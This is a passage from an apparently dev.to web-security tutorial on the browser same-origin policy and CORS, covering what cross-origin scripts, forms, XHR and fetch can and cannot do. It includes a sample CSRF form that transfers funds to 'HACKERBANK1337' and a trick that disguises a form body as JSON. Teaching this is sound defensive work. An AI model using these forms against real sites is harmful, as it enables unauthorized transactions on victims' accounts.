&lt;span class="nx"&gt;canvas&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getContext&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;2d&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;drawImage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;crossOriginImage&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;crossOriginImage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;width&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;crossOriginImage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;height&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;appendChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;canvas&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fet56pw8ildiqo53jnno0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fet56pw8ildiqo53jnno0.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  ❌ Not allowed: Read pixels from the canvas
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;canvas&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getContext&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;2d&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;getImageData&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="err"&gt;❌&lt;/span&gt; &lt;span class="nx"&gt;Uncaught&lt;/span&gt; &lt;span class="nx"&gt;DOMException&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Failed&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt; &lt;span class="nx"&gt;execute&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;getImageData&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="nx"&gt;on&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;CanvasRenderingContext2D&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;The&lt;/span&gt; &lt;span class="nx"&gt;canvas&lt;/span&gt; &lt;span class="nx"&gt;has&lt;/span&gt; &lt;span class="nx"&gt;been&lt;/span&gt; &lt;span class="nx"&gt;tainted&lt;/span&gt; &lt;span class="nx"&gt;by&lt;/span&gt; &lt;span class="nx"&gt;cross&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;origin&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  ✅ Allowed: Loading a style
&lt;/h3&gt;

&lt;p&gt;This is fine. The style will be rendered on the page.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;link&lt;/span&gt; &lt;span class="na"&gt;rel=&lt;/span&gt;&lt;span class="s"&gt;"stylesheet"&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"http://b.local/test.css"&lt;/span&gt;&lt;span class="err"&gt;/&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  ❌ Not allowed: Read the style contents
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;styleSheets&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;cssRules&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="err"&gt;❌&lt;/span&gt; &lt;span class="nx"&gt;Uncaught&lt;/span&gt; &lt;span class="nx"&gt;DOMException&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Failed&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt; &lt;span class="nx"&gt;read&lt;/span&gt; &lt;span class="nx"&gt;the&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;cssRules&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="nx"&gt;property&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;CSSStyleSheet&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Cannot&lt;/span&gt; &lt;span class="nx"&gt;access&lt;/span&gt; &lt;span class="nx"&gt;rules&lt;/span&gt;
    &lt;span class="nx"&gt;at&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;anonymous&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  ✅ Allowed: Loading a script
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script &lt;/span&gt;&lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"cross-origin-script"&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"http://b.local/test.js"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here is the content of &lt;code&gt;test.js&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  ❌ Not allowed: Read the script source
&lt;/h3&gt;

&lt;p&gt;There is no way to get the source of the script.&lt;/p&gt;

&lt;h3&gt;
  
  
  ✅ Allowed: Access data and functions provided by the script
&lt;/h3&gt;

&lt;p&gt;The script had the &lt;code&gt;x&lt;/code&gt; variable, remember? We can use it now on our page.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;x&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
 &lt;span class="mi"&gt;5&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is essentially how &lt;a href="https://en.wikipedia.org/wiki/JSONP" rel="noopener noreferrer"&gt;JSONP&lt;/a&gt; worked (don't use it anymore, it was never a good idea, and these days we have better ways which you'll see in a minute).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;☠ Security Impact&lt;/strong&gt;: &lt;br&gt;
The fact that browsers allow access to the data/functions provided by cross-domain scripts enables XSSI (Cross-Site Script Inclusion) attacks if your website serves dynamic JavaScript files with authenticated user data in them. So don't do anything like that.&lt;/p&gt;
&lt;h2&gt;
  
  
  HTML forms
&lt;/h2&gt;

&lt;p&gt;In the previous section, we looked at how embedding cross-origin resources allowed for malicious websites to send credentialed GET requests on the browser user's behalf. Now you will see how HTML forms make it possible to send credentialed &lt;em&gt;POST&lt;/em&gt; requests.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;☠ Security Impact&lt;/strong&gt;: This behavior is the primary reason &lt;a href="https://www.appsecmonkey.com/blog/csrf-attack-and-prevention/" rel="noopener noreferrer"&gt;CSRF&lt;/a&gt; vulnerabilities are so prevalent. Luckily the situation is finally going to improve soon as &lt;a href="https://www.appsecmonkey.com/blog/samesite-cookies/" rel="noopener noreferrer"&gt;SameSite Cookies&lt;/a&gt; are starting to be enabled by default.&lt;/p&gt;
&lt;h3&gt;
  
  
  ✅ Allowed: Submit credentialed cross-origin urlencoded HTML form
&lt;/h3&gt;

&lt;p&gt;Let's say we have the following form on &lt;a href="http://a.local" rel="noopener noreferrer"&gt;http://a.local&lt;/a&gt; and the user has an active session on &lt;a href="http://b.local:" rel="noopener noreferrer"&gt;http://b.local:&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;form&lt;/span&gt; &lt;span class="na"&gt;method=&lt;/span&gt;&lt;span class="s"&gt;"POST"&lt;/span&gt; &lt;span class="na"&gt;action=&lt;/span&gt;&lt;span class="s"&gt;"http://b.local/transferFunds"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"amount"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"10000"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"iban"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"HACKERBANK1337"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"submit"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"Send"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3p61owe4g4g4ry5epypv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3p61owe4g4g4ry5epypv.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;When the user clicks the "Send" button, a HTTP request like this is sent to &lt;a href="http://b.local:" rel="noopener noreferrer"&gt;http://b.local:&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="s"&gt;POST /transferFunds HTTP/1.1&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;b.local&lt;/span&gt;
&lt;span class="na"&gt;Cookie&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;SESSIONID=s3cr3t&lt;/span&gt;
&lt;span class="na"&gt;Content-Type&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;application/x-www-form-urlencoded&lt;/span&gt;
&lt;span class="nn"&gt;...&lt;/span&gt;
&lt;span class="s"&gt;amount=10000&amp;amp;iban=HACKERBANK1337&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And the unwitting web application would send the money, thinking the request came from the user.&lt;/p&gt;

&lt;h3&gt;
  
  
  ✅ Allowed: Submit credentialed cross-origin multipart HTML form
&lt;/h3&gt;

&lt;p&gt;A cross-origin multipart form can be submitted without problems. Just add the &lt;code&gt;enctype&lt;/code&gt; parameter like so:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;form&lt;/span&gt; &lt;span class="na"&gt;method=&lt;/span&gt;&lt;span class="s"&gt;"POST"&lt;/span&gt; &lt;span class="na"&gt;action=&lt;/span&gt;&lt;span class="s"&gt;"http://b.local/transferFunds"&lt;/span&gt; &lt;span class="na"&gt;enctype=&lt;/span&gt;&lt;span class="s"&gt;"multipart/form-data"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"amount"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"10000"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"iban"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"HACKERBANK1337"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"submit"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"Send"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  ❌ Not allowed: Submit credentialed cross-origin JSON HTML form
&lt;/h3&gt;

&lt;p&gt;Specifying &lt;em&gt;application/json&lt;/em&gt; for the &lt;code&gt;enctype&lt;/code&gt; will not work. The browser will fallback to &lt;em&gt;application/x-www-form-urlencoded&lt;/em&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;form&lt;/span&gt; &lt;span class="na"&gt;method=&lt;/span&gt;&lt;span class="s"&gt;"POST"&lt;/span&gt; &lt;span class="na"&gt;action=&lt;/span&gt;&lt;span class="s"&gt;"http://b.local/transferFunds"&lt;/span&gt; &lt;span class="na"&gt;enctype=&lt;/span&gt;&lt;span class="s"&gt;"application/json"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"amount"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;'{"amount": 1000, "iban": "HACKERBANK1337", "foo": "'&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"amount"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;'bar"}'&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;☠ Security Impact&lt;/strong&gt;: If the application fails to validate the content type properly, it could interpret this kind of POST request as valid JSON. Also, there are some drafts about implementing &lt;code&gt;enctype="json"&lt;/code&gt;, although no browser currently does so. For these reasons, it's vital to implement CSRF protection for, e.g., REST APIs as well as traditional web applications if they use cookie-based session management.&lt;/p&gt;

&lt;h2&gt;
  
  
  XHR and Fetch requests
&lt;/h2&gt;

&lt;h3&gt;
  
  
  ✅ Allowed: Sending credentialed cross-origin GET, HEAD, and POST requests with XHR
&lt;/h3&gt;

&lt;p&gt;The following will work. You will get an error, but the request will be &lt;em&gt;sent&lt;/em&gt;. You can verify with your browser's developer tools, or better yet, set up a proxy tool such as &lt;a href="https://www.zaproxy.org/" rel="noopener noreferrer"&gt;OWASP ZAP&lt;/a&gt; between your browser and the webserver to really see what's going on.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;xhr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;XMLHttpRequest&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nx"&gt;xhr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;withCredentials&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;xhr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;GET&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;http://b.local/&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;xhr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;send&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  ✅ Allowed: Sending credentialed cross-origin GET, HEAD, and POST requests with fetch
&lt;/h3&gt;

&lt;p&gt;Using fetch will work just the same.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;http://b.local/&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;credentials&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;include&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  ❌ Not allowed: Inspect the XHR response
&lt;/h3&gt;

&lt;p&gt;With either, XHR or fetch, you will not be able to read the response that you get.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="err"&gt;❌&lt;/span&gt; &lt;span class="nx"&gt;Cross&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Origin&lt;/span&gt; &lt;span class="nx"&gt;Request&lt;/span&gt; &lt;span class="nx"&gt;Blocked&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;The&lt;/span&gt; &lt;span class="nx"&gt;Same&lt;/span&gt; &lt;span class="nx"&gt;Origin&lt;/span&gt; &lt;span class="nx"&gt;Policy&lt;/span&gt; &lt;span class="nx"&gt;disallows&lt;/span&gt; &lt;span class="nx"&gt;reading&lt;/span&gt; &lt;span class="nx"&gt;the&lt;/span&gt; &lt;span class="nx"&gt;remote&lt;/span&gt; &lt;span class="nx"&gt;resource&lt;/span&gt; &lt;span class="nx"&gt;at&lt;/span&gt; &lt;span class="nx"&gt;http&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="c1"&gt;//b.local/. (Reason: CORS header ‘Access-Control-Allow-Origin’ missing).&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I'll get to what the &lt;code&gt;Access-Control-Allow-Origin&lt;/code&gt; thing is in a minute.&lt;/p&gt;

&lt;h3&gt;
  
  
  ❌ Not allowed: Sending PUT, PATCH, DELETE, etc. requests
&lt;/h3&gt;

&lt;p&gt;Only specific HTTP verbs are allowed by default (GET, POST, HEAD, and OPTIONS).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;http://b.local/&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;PUT&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;credentials&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;include&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="err"&gt;❌&lt;/span&gt; &lt;span class="nx"&gt;Access&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt; &lt;span class="nx"&gt;fetch&lt;/span&gt; &lt;span class="nx"&gt;at&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;http://b.local/&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="nx"&gt;origin&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;http://a.local&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="nx"&gt;has&lt;/span&gt; &lt;span class="nx"&gt;been&lt;/span&gt; &lt;span class="nx"&gt;blocked&lt;/span&gt; &lt;span class="nx"&gt;by&lt;/span&gt; &lt;span class="nx"&gt;CORS&lt;/span&gt; &lt;span class="nx"&gt;policy&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Response&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt; &lt;span class="nx"&gt;preflight&lt;/span&gt; &lt;span class="nx"&gt;request&lt;/span&gt; &lt;span class="nx"&gt;doesn&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;t pass access control check: No &lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="nx"&gt;Access&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Control&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Allow&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Origin&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt; header is present on the requested resource. If an opaque response serves your needs, set the request&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="nx"&gt;s&lt;/span&gt; &lt;span class="nx"&gt;mode&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;no-cors&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt; &lt;span class="nx"&gt;fetch&lt;/span&gt; &lt;span class="nx"&gt;the&lt;/span&gt; &lt;span class="nx"&gt;resource&lt;/span&gt; &lt;span class="kd"&gt;with&lt;/span&gt; &lt;span class="nx"&gt;CORS&lt;/span&gt; &lt;span class="nx"&gt;disabled&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There are two interesting parts in this error. It's talking about a preflight request, and the request mode. I'll get to the prefight thing soon, but let's quickly look at request modes first.&lt;/p&gt;

&lt;h3&gt;
  
  
  Request modes
&lt;/h3&gt;

&lt;p&gt;The &lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/Request/mode" rel="noopener noreferrer"&gt;request mode&lt;/a&gt; can be used by web applications to prevent accidentally leaking unnecessary data in a request by, e.g., setting the mode explicitly to same-origin.&lt;/p&gt;

&lt;p&gt;It, however, cannot be used to bypass any security controls. For example, if we change the mode to 'no-cors' like described in the error message, the PUT request would still not be sent; it would just result in a different error.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
